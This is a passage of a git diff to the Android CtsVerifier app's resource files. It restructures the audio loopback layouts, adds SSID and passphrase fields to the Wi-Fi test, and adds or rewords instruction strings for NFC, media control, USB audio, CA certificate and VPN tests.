-                    android:nextFocusRight="@+id/audio_loopback_level_seekbar" />
-
-                <LinearLayout
-                    android:orientation="vertical"
-                    android:layout_width="match_parent"
-                    android:layout_height="match_parent"
-                    android:id="@+id/audio_loopback_layout"
-                >
-
-                    <TextView
-                        android:layout_width="wrap_content"
-                        android:layout_height="wrap_content"
-                        android:text="@string/audio_loopback_instructions2"
-                        android:id="@+id/audio_loopback_instructions2" />
-
-                    <SeekBar
-                        android:layout_width="match_parent"
-                        android:layout_height="wrap_content"
-                        android:id="@+id/audio_loopback_level_seekbar"
-                        android:nextFocusForward="@+id/audio_loopback_test_btn"
-                        android:nextFocusUp="@+id/audio_loopback_plug_ready_btn"
-                        android:nextFocusDown="@+id/audio_loopback_test_btn"
-                        android:nextFocusLeft="@+id/audio_loopback_plug_ready_btn"
-                        android:nextFocusRight="@+id/audio_loopback_test_btn" />
-
-                    <TextView
-                        android:layout_width="wrap_content"
-                        android:layout_height="wrap_content"
-                        android:text="@string/audio_loopback_level_text"
-                        android:id="@+id/audio_loopback_level_text" />
-
-                    <Button
-                        android:layout_width="wrap_content"
-                        android:layout_height="wrap_content"
-                        android:text="@string/audio_loopback_test_btn"
-                        android:id="@+id/audio_loopback_test_btn"
-                        android:nextFocusForward="@+id/pass_button"
-                        android:nextFocusUp="@+id/audio_loopback_level_seekbar"
-                        android:nextFocusDown="@+id/pass_button"
-                        android:nextFocusLeft="@+id/audio_loopback_level_seekbar"
-                        android:nextFocusRight="@+id/pass_button" />
-
-                    <ProgressBar
-                        android:layout_width="wrap_content"
-                        android:layout_height="wrap_content"
-                        android:id="@+id/audio_loopback_progress_bar" />
-
-                    <TextView
-                        android:layout_width="wrap_content"
-                        android:layout_height="wrap_content"
-                        android:text="@string/audio_loopback_results_text"
-                        android:id="@+id/audio_loopback_results_text" />
-                </LinearLayout>
-
-            </LinearLayout>
-            <include layout="@layout/pass_fail_buttons" />
-        </LinearLayout>
-    </ScrollView>
-
-</LinearLayout>
diff --git a/apps/CtsVerifier/res/layout/audio_loopback_device_layout.xml b/apps/CtsVerifier/res/layout/audio_loopback_device_layout.xml
new file mode 100644
index 0000000..4d0ba8d
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/audio_loopback_device_layout.xml
@@ -0,0 +1,37 @@
+<?xml version="1.0" encoding="utf-8"?>
+<LinearLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="wrap_content"
+    android:orientation="vertical">
+
+    <TextView
+        android:text="@string/audioLoopbackInputLbl"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:textSize="18sp"/>
+
+    <TextView
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:paddingLeft="10dp"
+        android:paddingRight="10dp"
+        android:id="@+id/audioLoopbackInputLbl"
+        android:textSize="18sp"/>
+
+    <TextView
+        android:text="@string/audioLoopbackOutputLbl"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:textSize="18sp"/>
+
+    <TextView
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:paddingLeft="10dp"
+        android:paddingRight="10dp"
+        android:id="@+id/audioLoopbackOutputLbl"
+        android:textSize="18sp"/>
+
+
+</LinearLayout>
\ No newline at end of file
diff --git a/apps/CtsVerifier/res/layout/audio_loopback_footer_layout.xml b/apps/CtsVerifier/res/layout/audio_loopback_footer_layout.xml
new file mode 100644
index 0000000..f59afeb
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/audio_loopback_footer_layout.xml
@@ -0,0 +1,18 @@
+<?xml version="1.0" encoding="utf-8"?>
+<LinearLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="wrap_content"
+    android:orientation="vertical">
+
+    <ProgressBar
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:id="@+id/audio_loopback_progress_bar" />
+
+    <TextView
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:text="@string/audio_loopback_results_text"
+        android:id="@+id/audio_loopback_results_text" />
+</LinearLayout>
diff --git a/apps/CtsVerifier/res/layout/audio_loopback_header_layout.xml b/apps/CtsVerifier/res/layout/audio_loopback_header_layout.xml
new file mode 100644
index 0000000..a738826
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/audio_loopback_header_layout.xml
@@ -0,0 +1,39 @@
+<?xml version="1.0" encoding="utf-8"?>
+<LinearLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="wrap_content"
+    android:orientation="vertical">
+
+    <TextView
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:text="@string/loopback_test_question"/>
+
+    <LinearLayout
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:orientation="horizontal">
+
+        <Button
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:soundEffectsEnabled="false"
+            android:text="@string/audio_general_yes"
+            android:id="@+id/loopback_tests_yes_btn" />
+
+        <Button
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:soundEffectsEnabled="false"
+            android:text="@string/audio_general_no"
+            android:id="@+id/loopback_tests_no_btn" />
+
+        <Button
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:soundEffectsEnabled="false"
+            android:text="@string/audio_general_info"
+            android:id="@+id/loopback_tests_info_btn" />
+    </LinearLayout>
+</LinearLayout>
diff --git a/apps/CtsVerifier/res/layout/audio_loopback_latency_activity.xml b/apps/CtsVerifier/res/layout/audio_loopback_latency_activity.xml
new file mode 100644
index 0000000..c8c7a69
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/audio_loopback_latency_activity.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2015 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<LinearLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="wrap_content"
+    android:orientation="vertical"
+    style="@style/RootLayoutPadding">
+
+    <ScrollView
+        android:layout_width="match_parent"
+        android:layout_height="match_parent"
+        android:id="@+id/scrollView">
+
+        <LinearLayout
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:orientation="vertical">
+
+            <include layout="@layout/audio_loopback_header_layout"/>
+
+            <LinearLayout
+                android:layout_width="wrap_content"
+                android:layout_height="wrap_content"
+                android:orientation="vertical"
+                android:id="@+id/audio_loopback_headset_port">
+
+                <include layout="@layout/audio_loopback_volume_layout" />
+
+                <include layout="@layout/audio_loopback_device_layout" />
+
+                <LinearLayout
+                    android:orientation="vertical"
+                    android:layout_width="match_parent"
+                    android:layout_height="match_parent"
+                    android:id="@+id/audio_loopback_layout">
+                    <Button
+                        android:layout_width="wrap_content"
+                        android:layout_height="wrap_content"
+                        android:text="@string/audio_loopback_test_btn"
+                        android:id="@+id/audio_loopback_test_btn"
+                        android:nextFocusForward="@+id/pass_button"
+                        android:nextFocusUp="@+id/audio_loopback_level_seekbar"
+                        android:nextFocusDown="@+id/pass_button"
+                        android:nextFocusLeft="@+id/audio_loopback_level_seekbar"
+                        android:nextFocusRight="@+id/pass_button" />
+
+                </LinearLayout>
+
+                <include layout="@layout/audio_loopback_footer_layout"/>
+
+            </LinearLayout>
+            <include layout="@layout/pass_fail_buttons" />
+        </LinearLayout>
+    </ScrollView>
+
+</LinearLayout>
diff --git a/apps/CtsVerifier/res/layout/audio_loopback_volume_layout.xml b/apps/CtsVerifier/res/layout/audio_loopback_volume_layout.xml
new file mode 100644
index 0000000..b85985e
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/audio_loopback_volume_layout.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<LinearLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:orientation="vertical"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent"
+    android:id="@+id/audio_loopback_layout">
+
+    <TextView
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:text="@string/audio_loopback_instructions2"
+        android:id="@+id/audio_loopback_instructions2" />
+
+    <SeekBar
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:id="@+id/audio_loopback_level_seekbar"
+        android:nextFocusForward="@+id/audio_loopback_test_btn"
+        android:nextFocusUp="@+id/audio_loopback_plug_ready_btn"
+        android:nextFocusDown="@+id/audio_loopback_test_btn"
+        android:nextFocusLeft="@+id/audio_loopback_plug_ready_btn"
+        android:nextFocusRight="@+id/audio_loopback_test_btn" />
+
+    <TextView
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:text="@string/audio_loopback_level_text"
+        android:id="@+id/audio_loopback_level_text" />
+
+</LinearLayout>
diff --git a/apps/CtsVerifier/res/layout/pro_audio.xml b/apps/CtsVerifier/res/layout/pro_audio.xml
index 3182499..e61ba01 100644
--- a/apps/CtsVerifier/res/layout/pro_audio.xml
+++ b/apps/CtsVerifier/res/layout/pro_audio.xml
@@ -9,6 +9,8 @@
     android:layout_width="match_parent"
     android:layout_height="wrap_content">
 
+    <include layout="@layout/audio_loopback_header_layout"/>
+
     <LinearLayout android:orientation="horizontal"
         android:layout_width="match_parent"
         android:layout_height="wrap_content">
@@ -123,33 +125,9 @@
             android:textSize="18sp"/>
     </LinearLayout>
 
-    <TextView
-        android:text="@string/proAudioInputLbl"
-        android:layout_width="wrap_content"
-        android:layout_height="wrap_content"
-        android:textSize="18sp"/>
+    <include layout="@layout/audio_loopback_device_layout" />
 
-    <TextView
-        android:layout_width="wrap_content"
-        android:layout_height="wrap_content"
-        android:paddingLeft="10dp"
-        android:paddingRight="10dp"
-        android:id="@+id/proAudioInputLbl"
-        android:textSize="18sp"/>
-
-    <TextView
-        android:text="@string/proAudioOutputLbl"
-        android:layout_width="wrap_content"
-        android:layout_height="wrap_content"
-        android:textSize="18sp"/>
-
-    <TextView
-        android:layout_width="wrap_content"
-        android:layout_height="wrap_content"
-        android:paddingLeft="10dp"
-        android:paddingRight="10dp"
-        android:id="@+id/proAudioOutputLbl"
-        android:textSize="18sp"/>
+    <include layout="@layout/audio_loopback_volume_layout" />
 
     <Button
         android:text="@string/audio_proaudio_roundtrip"
@@ -157,41 +135,7 @@
         android:layout_height="wrap_content"
         android:id="@+id/proAudio_runRoundtripBtn"/>
 
-    <LinearLayout android:orientation="horizontal"
-        android:layout_width="match_parent"
-        android:layout_height="wrap_content">
-        <TextView
-            android:text="@string/proAudioRoundTripLbl"
-            android:layout_width="wrap_content"
-            android:layout_height="wrap_content"
-            android:textSize="18sp"/>
-
-        <TextView
-            android:layout_width="wrap_content"
-            android:layout_height="wrap_content"
-            android:paddingLeft="10dp"
-            android:paddingRight="10dp"
-            android:id="@+id/proAudioRoundTripLbl"
-            android:textSize="18sp"/>
-    </LinearLayout>
-
-    <LinearLayout android:orientation="horizontal"
-        android:layout_width="match_parent"
-        android:layout_height="wrap_content">
-        <TextView
-            android:text="@string/proAudioConfidenceLbl"
-            android:layout_width="wrap_content"
-            android:layout_height="wrap_content"
-            android:textSize="18sp"/>
-
-        <TextView
-            android:layout_width="wrap_content"
-            android:layout_height="wrap_content"
-            android:paddingLeft="10dp"
-            android:paddingRight="10dp"
-            android:id="@+id/proAudioConfidenceLbl"
-            android:textSize="18sp"/>
-    </LinearLayout>
+    <include layout="@layout/audio_loopback_footer_layout"/>
 
     <include layout="@layout/pass_fail_buttons"/>
 </LinearLayout>
diff --git a/apps/CtsVerifier/res/layout/test_list_footer.xml b/apps/CtsVerifier/res/layout/test_list_footer.xml
index cb73ed1..831ea2e 100644
--- a/apps/CtsVerifier/res/layout/test_list_footer.xml
+++ b/apps/CtsVerifier/res/layout/test_list_footer.xml
@@ -28,12 +28,6 @@
         android:layout_width="wrap_content"
         android:layout_height="wrap_content" />
     <Button
-        android:id="@+id/view"
-        android:text="@string/view"
-        android:layout_gravity="center"
-        android:layout_width="wrap_content"
-        android:layout_height="wrap_content" />
-    <Button
         android:id="@+id/export"
         android:text="@string/export"
         android:layout_gravity="center"
diff --git a/apps/CtsVerifier/res/layout/uap_notifications_layout.xml b/apps/CtsVerifier/res/layout/uap_notifications_layout.xml
new file mode 100644
index 0000000..060c6647
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/uap_notifications_layout.xml
@@ -0,0 +1,85 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<LinearLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:orientation="vertical"
+    android:layout_width="match_parent"
+    android:layout_height="wrap_content">
+
+    <!-- Device Notifications -->
+    <!-- USB_HEADSET -->
+    <LinearLayout
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:orientation="vertical">
+        <TextView
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:text="TYPE_USB_HEADSET" />
+        <TextView
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:layout_marginLeft="10dp"
+            android:id="@+id/uap_messages_headset_out_name"/>
+        <TextView
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:layout_marginLeft="10dp"
+            android:id="@+id/uap_messages_headset_in_name"/>
+    </LinearLayout>
+
+    <!-- USB_DEVICE -->
+    <LinearLayout
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:orientation="vertical">
+        <TextView
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:text="TYPE_USB_DEVICE"/>
+        <TextView
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:layout_marginLeft="10dp"
+            android:id="@+id/uap_messages_usb_device__out_name"/>
+        <TextView
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:layout_marginLeft="10dp"
+            android:id="@+id/uap_messages_usb_device_in_name"/>
+    </LinearLayout>
+
+    <!-- Plug Intent -->
+    <LinearLayout
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:orientation="vertical">
+        <TextView
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:text="ACTION_HEADSET_PLUG Intent"/>
+        <TextView
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:layout_marginLeft="10dp"
+            android:id="@+id/uap_messages_plug_message"/>
+    </LinearLayout>
+
+    <include layout="@layout/pass_fail_buttons"/>
+
+</LinearLayout>
diff --git a/apps/CtsVerifier/res/layout/wifi_main.xml b/apps/CtsVerifier/res/layout/wifi_main.xml
index fee710d..67ecb9a 100644
--- a/apps/CtsVerifier/res/layout/wifi_main.xml
+++ b/apps/CtsVerifier/res/layout/wifi_main.xml
@@ -13,39 +13,69 @@
      See the License for the specific language governing permissions and
      limitations under the License.
 -->
-<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
-              android:orientation="vertical"
+<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
+                android:layout_width="match_parent"
+                android:layout_height="match_parent"
+                style="@style/RootLayoutPadding">
+
+        <TextView android:id="@+id/wifi_ssid_label"
+              android:layout_width="wrap_content"
+              android:layout_height="wrap_content"
+              android:text="@string/wifi_ssid_label"
+              style="@style/InstructionsSmallFont"
+        />
+        <EditText android:id="@+id/wifi_ssid"
               android:layout_width="match_parent"
-              android:layout_height="match_parent"
->
-
-    <FrameLayout
-        android:layout_width="fill_parent"
-        android:layout_height="wrap_content"
-        android:layout_weight="1.0"
-    >
-
-        <ScrollView android:layout_width="match_parent"
-                    android:layout_height="wrap_content"
-                    android:layout_weight="1"
-        >
-            <TextView android:id="@+id/wifi_info"
-                      android:layout_width="match_parent"
-                      android:layout_height="wrap_content"
-                      style="@style/InstructionsFont"
-            />
-        </ScrollView>
-
-        <ProgressBar
-            android:id="@+id/wifi_progress"
+              android:layout_height="wrap_content"
+              android:layout_below="@id/wifi_ssid_label"
+              android:inputType="text"
+              style="@style/InstructionsSmallFont"
+        />
+        <TextView android:id="@+id/wifi_psk_label"
+              android:layout_width="wrap_content"
+              android:layout_height="wrap_content"
+              android:layout_below="@id/wifi_ssid"
+              android:text="@string/wifi_psk_label"
+              style="@style/InstructionsSmallFont"
+        />
+        <EditText android:id="@+id/wifi_psk"
+              android:layout_width="match_parent"
+              android:layout_height="wrap_content"
+              android:layout_below="@id/wifi_psk_label"
+              android:inputType="textPassword"
+              style="@style/InstructionsSmallFont"
+        />
+        <Button android:id="@+id/wifi_start_test_btn"
+            android:text="@string/wifi_start_test_label"
             android:layout_width="wrap_content"
             android:layout_height="wrap_content"
+            android:layout_below="@id/wifi_psk"
+            android:layout_centerHorizontal="true"
+        />
+
+        <ScrollView android:id="@+id/wifi_info_scroll_view"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:layout_weight="1"
+            android:layout_below="@id/wifi_start_test_btn"
+        >
+        <TextView android:id="@+id/wifi_info"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            style="@style/InstructionsSmallFont"
+        />
+        </ScrollView>
+        <ProgressBar android:id="@+id/wifi_progress"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:layout_below="@id/wifi_info_scroll_view"
             android:indeterminate="true"
             android:layout_gravity="center"
             android:visibility="gone"
         />
-    </FrameLayout>
-
-    <include layout="@layout/pass_fail_buttons" />
-
-</LinearLayout>
+        <include android:id="@+id/pass_fail_buttons"
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:layout_alignParentBottom="true"
+            layout="@layout/pass_fail_buttons"/>
+</RelativeLayout>
diff --git a/apps/CtsVerifier/res/menu/test_list_menu.xml b/apps/CtsVerifier/res/menu/test_list_menu.xml
index ecc6920..20e3cc9 100644
--- a/apps/CtsVerifier/res/menu/test_list_menu.xml
+++ b/apps/CtsVerifier/res/menu/test_list_menu.xml
@@ -4,12 +4,8 @@
           android:icon="@android:drawable/ic_menu_delete" 
           android:title="@string/clear"
           android:showAsAction="ifRoom" />
-    <item android:id="@+id/view"
-          android:icon="@android:drawable/ic_menu_view"
-          android:title="@string/view"
-          android:showAsAction="ifRoom" />
     <item android:id="@+id/export"
           android:icon="@android:drawable/ic_menu_save"
           android:title="@string/export"
           android:showAsAction="ifRoom" />
-</menu>
\ No newline at end of file
+</menu>
diff --git a/apps/CtsVerifier/res/values/integers.xml b/apps/CtsVerifier/res/values/integers.xml
index 2ced54b..508c52c 100644
--- a/apps/CtsVerifier/res/values/integers.xml
+++ b/apps/CtsVerifier/res/values/integers.xml
@@ -14,5 +14,5 @@
      limitations under the License.
 -->
 <resources>
-    <integer name="test_list_footer_button_count">3</integer>
+    <integer name="test_list_footer_button_count">2</integer>
 </resources>
diff --git a/apps/CtsVerifier/res/values/strings.xml b/apps/CtsVerifier/res/values/strings.xml
index 80ab389..b898bc9 100755
--- a/apps/CtsVerifier/res/values/strings.xml
+++ b/apps/CtsVerifier/res/values/strings.xml
@@ -1169,6 +1169,39 @@
     <string name="accessService">AccessService</string>
     <string name="offhostService">OffhostService</string>
     <string name="felicaservice">Felica Service</string>
+    <string name="UiccTransactionEventService">Uicc Transaction Event Service</string>
+
+    <string name="nfc_offhost_uicc">Offhost UICC-based card emulation</string>
+    <string name="nfc_offhost_uicc_emulator_tests">Offhost card emulation emulator tests</string>
+    <string name="nfc_offhost_uicc_reader_tests">Offhost card emulation reader tests</string>
+    <string name="nfc_offhost_uicc_transaction_event1_emulator">Offhost transaction event-field off (Emulator)</string>
+    <string name="nfc_offhost_uicc_transaction_event1_reader">Offhost transaction event-field off (Reader)</string>
+    <string name="nfc_offhost_uicc_transaction_event2_emulator">Offhost transaction event-deselect (Emulator)</string>
+    <string name="nfc_offhost_uicc_transaction_event2_reader">Offhost transaction event-deselect (Reader)</string>
+    <string name="nfc_offhost_uicc_transaction_event3_emulator">Offhost transaction event-HCI CMD (Emulator)</string>
+    <string name="nfc_offhost_uicc_transaction_event3_reader">Offhost transaction event-HCI CMD (Reader)</string>
+
+    <string name="nfc_offhost_uicc_emulator_test_info">The offhost-based card emulation
+        tests require two devices to be completed. The emulator tests are used
+        to actually test the off-based card emulation feature of the device-under-test. So the
+        device running the emulator tests must be the candidate device running the software
+        to be tested. \n\nFor each emulator test, there is a corresponding "reader test"
+        in the "Offhost reader tests" section. The "reader test" acts as a NFC terminal/POS
+        and makes sure the device-under-test implements card emulation correctly
+    </string>
+    <string name="nfc_offhost_uicc_reader_test_info">The offhost-based card emulation
+        tests require two devices to be completed. The emulator tests are used
+        to actually test the off-based card emulation feature of the device-under-test. So the
+        device running the emulator tests must be the candidate device running the software
+        to be tested. \n\nFor each emulator test, there is a corresponding "reader test"
+        in the "Offhost card emulation reader tests" section. The "reader test" acts as a NFC terminal/POS
+        and makes sure the device-under-test implements card emulation correctly.
+    </string>
+    <string name="nfc_offhost_uicc_type_selection">By default Offhost card emulation applications run on type A.
+      If your device supports type B (for example, because of a type B only UICC), select "Type B" from the drop-down box above. Note that all tests must be completed in the same mode (either "Type A" or "Type B").</string>
+    <string name="nfc_offhost_please_wait">Please wait</string>
+    <string name="nfc_offhost_setting_up">Setting up card emulation services...</string>
+    <string name="nfc_offhost_uicc_transaction_event_emulator_help">Switch application to background before starting tests. Successful transaction event will switch application to foreground with transaction event data.</string>
 
     <!-- Strings for Sensor Test Activities -->
     <string name="snsr_device_admin_receiver">Sensor Tests Device Admin Receiver</string>
@@ -1191,6 +1224,7 @@
     <string name="snsr_test_play_sound">A sound will be played once the verification is complete...</string>
     <string name="snsr_no_interaction">Leave the device on top of a flat surface.</string>
     <string name="snsr_interaction_needed">Once the test begins, you will have to wave your hand over the front of the device.</string>
+    <string name="snsr_interaction_needed_prox">Once the test begins, if possible, flip the device so it is face down on a surface, then flip back to face up after a second or two. Otherwise, wave your hand over the front of the device.</string>
     <string name="snsr_device_steady">Keep the device steady.</string>
     <string name="snsr_keep_device_rotating_clockwise">Once the test begins, you will have to keep rotating the device clockwise.</string>
     <string name="snsr_wait_for_user">Press \'Next\' to continue.</string>
@@ -1273,6 +1307,8 @@
     <string name="snsr_mag_calibration_complete">When done, leave the device in a flat surface, far
         from all metallic objects (if the test does not pass, try re-running it outdoors).</string>
     <string name="snsr_mag_measurement">-&gt; (%1$.2f, %2$.2f, %3$.2f) : %4$.2f uT</string>
+    <string name="snsr_mag_move_outside">Unable to acquire location. Please move outside to allow a location fix.</string>
+    <string name="snsr_mag_no_location">Failed to acquire location. Using default magnetic field of %1$.2f uT.</string>
 
     <!-- Sensor Value Accuracy -->
     <string name="snsr_rot_vec_test">Rotation Vector Accuracy Test</string>
@@ -1683,7 +1719,7 @@
     <!-- Strings for TestListActivity -->
     <string name="wifi_test">Wi-Fi Test</string>
     <string name="wifi_test_info">
-        The Wi-Fi tests requires an open (no security) access point in the environment along with the DUT.
+        The Wi-Fi tests requires an open or PSK access point in the environment along with the DUT.
         \nPlease perform a network settings reset between each test to reset platform\'s internal state which
         might interfere with the test flow.\nNavigate to \"Settings -> System -> Reset Options -> Reset Wi-Fi,
         mobile &amp; Bluetooth\" to perform a network settings reset.
@@ -1696,8 +1732,13 @@
     <string name="wifi_setup_error">Test failed with set up error.</string>
     <string name="wifi_unexpected_error">Test failed with unexpected error. Check logcat.</string>
 
+    <string name="wifi_ssid_label">SSID for network</string>
+    <string name="wifi_psk_label">Passphrase for network (leave empty for open network)</string>
+    <string name="wifi_start_test_label">Start test</string>
+
+    <string name="wifi_status_need_psk">Need a psk network for this test.</string>
     <string name="wifi_status_initiating_scan">Initiating scan.</string>
-    <string name="wifi_status_scan_failure">Unable to initiate scan or find any open network in scan results.</string>
+    <string name="wifi_status_scan_failure">Unable to initiate scan or find matching network in scan results.</string>
     <string name="wifi_status_connected_to_other_network">Connected to some other network on the device. Please ensure that there is no saved networks on the device.</string>
     <string name="wifi_status_initiating_network_request">Initiating network request.</string>
     <string name="wifi_status_network_wait_for_available">Waiting for network connection. Please click the network in the dialog that pops up for approving the request.</string>
@@ -2145,6 +2186,35 @@
         dismiss them.
     </string>
     <string name="msg_extras_preserved">Check that Message extras Bundle was preserved.</string>
+    <string name="qs_media_player_title">QS Media Controls Test</string>
+    <string name="qs_media_player_test">Media Controls Test</string>
+    <string name="qs_media_player_info">This test checks that media controls appear in the
+        Quick Settings shade for applications that post a media style notification.</string>
+    <string name="qs_media_player_song_and_artist">Fully expand Quick Settings and look at the media
+        player controls for the CTS Verifier app.
+        Check that the media player contains the strings "Song" and "Artist".
+    </string>
+    <string name="qs_media_player_album_art">Open Quick Settings and look at the media player
+        controls for the CTS Verifier app.
+        Check that the media player contains a solid yellow image.
+    </string>
+    <string name="qs_media_player_progress_bar">Fully expand Quick Settings and look at the media
+        player controls for the CTS Verifier app.
+        Check that the media player contains a progress bar showing 6 seconds have elapsed of a
+        one minute long track.
+    </string>
+    <string name="qs_media_player_actions">Fully expand Quick Settings and look at the media player
+        controls for the CTS Verifier app.
+        Check that icons appear for rewind, previous track, pause, next track and fast forward.
+    </string>
+    <string name="qs_media_player_compact_actions">Open Notification Shade and look at the media player
+        controls for the CTS Verifier app.
+        Check that icons appear for only previous track, pause and next track.
+    </string>
+    <string name="qs_media_player_output_switcher">Open Quick Settings and look at the media player
+        controls for the CTS Verifier app. Click on the button showing that the media is playing
+        on the phone speaker. Check that the Output Switcher opens.
+    </string>
     <string name="tile_service_name">Tile Service for CTS Verifier</string>
     <string name="tiles_test">Tile Service Test</string>
     <string name="tiles_info">This test checks that a Tile Service added by a third party
@@ -2286,7 +2356,7 @@
     <!-- Strings for CA cert installation via intent test -->
     <string name="cacert_install_via_intent">CA Cert install via intent</string>
     <string name="cacert_install_via_intent_title">This test attempts to install a CA certificate via an intent.</string>
-    <string name="cacert_install_via_intent_info">Attempt installing a CA certificate via an intent, which should fail. If you see a dialog redirecting the user to Settings for installing the certificate, the test passed. If a any other dialog comes up, the test failed.</string>
+    <string name="cacert_install_via_intent_info">Attempt installing a CA certificate via an intent, which should not be possible. Tapping Go should show a dialog telling the user that CA certificates can put their privacy at risk and must be installed via Settings. If a any other dialog comes up, the test failed.</string>
 
     <!-- Strings for Widget -->
     <string name="widget_framework_test">Widget Framework Test</string>
@@ -2445,9 +2515,12 @@
 
         3. Tap \"Prepare VPN\" button below and consent to the VPN connection.\n
 
-        4. Finish all three test cases listed below.\n
+        4. Once connected, verify that the system shows disclosure (on some devices this is shown in
+           the notification area) that network traffic is being routed through the VPN app.\n
 
-        5. Repeat step 1 to remove CtsVpnFirewallApp.
+        5. Finish all three test cases listed below.\n
+
+        6. Repeat step 1 to remove CtsVpnFirewallApp.
     </string>
     <string name="provisioning_byod_always_on_vpn_prepare_button">Prepare VPN</string>
     <string name="provisioning_byod_always_on_vpn_vpn_not_found_note">
@@ -3910,7 +3983,7 @@
         Please press \'Create uninitialized user\' to create a user that is not set up. Then press the
         \'Set restriction\' button to set the user restriction.
         Then press \'Go\' to open \'Multiple users\' setting. \n
-        Click the Settings icon adjacent to the managed user.\n\n
+        Click the managed user to open settings.\n\n
 
         Mark this test as passed if:\n\n
         - \"Delete User\" is disabled.\n
@@ -4683,6 +4756,7 @@
     <string name="profileLabel">Profile</string>
     <string name="connectedPeripheral">Connected Peripheral</string>
     <string name="audio_uap_attribs_test">USB Audio Peripheral Attributes Test</string>
+    <string name="audio_uap_notifications_test">USB Audio Peripheral Notifications Test</string>
     <string name="uapPeripheralProfileStatus">Peripheral Profile Status</string>
     <string name="audio_uap_play_test">USB Audio Peripheral Play Test</string>
     <string name="uapPlayTestInstructions">Connect the USB Audio Interface Peripheral and press the
@@ -4701,6 +4775,15 @@
     <string name="uapButtonTestInstructions">Connect the USB Audio headset with buttons
         and press each transport/media button in turn.</string>
 
+     <string name="uapNotificationsTestInfo">
+         This test verifies that the correct notifications and Intents are sent when a USB audio
+         peripheral is connected to the Android device. First USB headset peripheral should be
+         connected and the test will acknowledge the USB headset device notifications and plug intent.
+         Next a non-headset / headphones USB peripheral should be connected and the test will
+         acknowlege the USB device notifications. If all notifications and Intents are received
+         the test passes.
+     </string>
+
     <string name="audio_usb_restrict_record_test">USB Audio Restrict Record Access Test</string>
     <string name="audio_usb_restrict_record_entry">
         This test checks that the appropriate warning message is displayed when an app which has
@@ -4747,10 +4830,8 @@
 
     <string name="proAudioHasProAudiolbl">Has Pro Audio</string>
     <string name="proAudioHasLLAlbl">Has Low-Latency Audio</string>
-    <string name="proAudioInputLbl">Audio Input:</string>
-    <string name="proAudioOutputLbl">Audio Output:</string>
-    <string name="proAudioRoundTripLbl">Round Trip Latency:</string>
-    <string name="proAudioConfidenceLbl">Confidence:</string>
+    <string name="audioLoopbackInputLbl">Audio Input:</string>
+    <string name="audioLoopbackOutputLbl">Audio Output:</string>
 
     <string name="proAudioMidiHasMIDILbl">Has MIDI Support</string>
     <string name="proAudioMIDIInputLbl">MIDI Input:</string>
@@ -4760,8 +4841,6 @@
